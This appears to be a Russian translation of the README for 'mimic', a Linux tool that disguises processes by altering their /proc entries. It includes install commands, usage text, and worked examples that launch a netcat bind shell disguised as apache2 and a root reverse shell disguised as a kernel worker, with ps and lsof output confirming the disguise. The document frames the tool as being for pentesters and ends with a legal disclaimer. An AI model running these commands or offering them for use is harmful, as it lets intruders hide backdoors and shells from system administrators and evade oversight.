Что такое «скрытое исполнение»?
Скрытое исполнение – это искусство скрытия процесса.
В этом случае имитация скрывает процесс из виду. mimic может запустить любую программу и сделать ее похожей на любую другую программу.
Любой пользователь может его использовать.
Он не требует специальных разрешений.
Он не требует специальных двоичных файлов.
Он не требует руткитов.
Как?! Нет особых привилегий?
Это верно. mimic работает, перестраивая внутренние структуры процесса таким образом, что он смущает запись / proc для этого процесса.
Все инструменты, которые сообщают о характере процесса, делают это путем изучения / proc.
Если мы сможем изгибать / proc, то мы можем скрыть процесс из виду. Поскольку мы только изменяем состояние процесса, которым мы владеем, любой может успешно запустить имитацию.
Может ли это быть обнаружено ?!
Конечно, но только если вы смотрите очень внимательно или запускаете форензический инструмент, который ищет такого рода вещи.
Полезность mimic заключается в том, что она не позволит кому-то стать подозрительным в первую очередь.
Будет ли это работать со сценариями?
Да, но вам нужно вызвать mimic непосредственно на интерпретаторе.
Например, если первая строка вашего скрипта – «#! / Usr / bin / perl», тогда вы хотите вызвать mimic следующим образом:
# mimic -e "/usr/bin/perl test.pl"
Кто является целевой аудиторией для mimic?
Любой, кто законно нуждается в скрытии процессов, прежде чем они укоренились.
Пентестеры
«Исследователи выполняют скрытые операции (конечно, с предварительного разрешения их юридических и HR-отделов).
Что такое «set_target_pid»?
set_target_pid – небольшая вспомогательная программа в мимическом наборе, который будет вытеснять pids, пока тот, который вы хотите, не вернется.
Она позволяет вам выбирать, где в списке процессов вы хотите, чтобы ваш процесс сидел.
Обратите внимание, что ядро резервирует первые 300 pids для потоков ядра.
Если вы попытаетесь пойти ниже этого, вы, вероятно, закончите работу с pid 301.
Установка
# git clone https://github.com/emptymonkey/ptrace_do.git # cd ptrace_do # make # cd .. # git clone https://github.com/emptymonkey/mimic.git # cd mimic # make
Использование
# usage: mimic -e COMMAND [-m MIMIC] [-b] [-a KEY=VALUE] [-q] [-h] -e Execute COMMAND. -m Setup COMMAND to look like MIMIC. Default for non-root is: "/usr/sbin/apache2 -k start" Default for root is: "[kworker/0:0]" -b Launch COMMAND in the background. -a Add / overwrite KEY to the mimic environment with associated VALUE. -q Be quiet! Do not print normal output. -h Print this helpful message. Notes: The MIMIC environment will be a copy of the COMMAND environment. The '_' variable is automatically changed. The -a flag can be called multiple times to add / overwrite multiple variables. Examples: mimic -e /bin/bash set_target_pid 1 && mimic -e /bin/bash mimic -b -e "./revsh" mimic -b -e "nc -l -e /bin/bash" mimic -b -e "nc -l -e \"mimic -e /bin/bash\""
Примеры
Первый пример. Запуск слушателя netcat в качестве обычного пользователя:
# ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\"" Launching child... Success! Waiting for child to attach... Success! Initializing ptrace_do... Success! Determining stack state... Success! Politely requesting name change... Success! Searching for main()... Success! Building execution headers... Success! Setting up final state... Success! Good-bye and have a good luck! :) empty@monkey:~$ ps aux | grep apache empty 1931 19.5 0.0 16648 1324 pts/1 S 21:41 0:02 /usr/sbin/apache2 -k start empty 1935 0.0 0.0 7596 836 pts/1 S+ 21:41 0:00 grep apache empty@monkey:~$ sudo lsof -i -n -P | grep apache [sudo] password for empty: apache2 1931 empty 3u IPv6 14462 0t0 TCP *:31337 (LISTEN) apache2 1931 empty 4u IPv4 14463 0t0 TCP *:31337 (LISTEN)
Второй пример. Запуск обратной оболочки netcat с правами root:
# /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"
# ps aux | grep kworker | grep -v grep root 18 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/3:0] root 197 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:3] root 198 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:4] root 199 0.0 0.0 0 0 ? S 19:39 0:06 [kworker/u:5] root 302 23.4 0.0 18748 1912 pts/5 S 22:28 0:02 [kworker/0:0] root 304 11.4 0.0 3780 296 pts/5 S 22:28 0:00 [kworker/0:0] root 305 10.8 0.0 10644 1200 pts/5 S 22:28 0:00 [kworker/0:0] root 426 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/1:0] root 434 0.0 0.0 0 0 ? S 20:20 0:00 [kworker/3:2] root 536 0.0 0.0 0 0 ? S 20:12 0:00 [kworker/0:0] root 879 0.0 0.0 0 0 ? S 20:39 0:00 [kworker/2:0] root 1463 0.0 0.0 0 0 ? S 19:39 0:00 [kworker/1:2] root 2132 0.0 0.0 0 0 ? S 19:47 0:00 [kworker/2:2] root 2607 0.0 0.0 0 0 ? S 20:01 0:01 [kworker/0:1]
# lsof -i -n -P | grep kworker kworker/0 302 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED) kworker/0 304 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED) kworker/0 305 root 4u IPv4 20546 0t0 TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
# code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"</pre> empty@monkey:~$ ps aux | grep rootkit | grep -v grep empty 399 2.9 0.0 3780 300 pts/4 S 22:34 0:00 Totally not a rootkit! empty 400 2.7 0.0 19372 2044 pts/4 S 22:34 0:00 Totally not a rootkit!
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.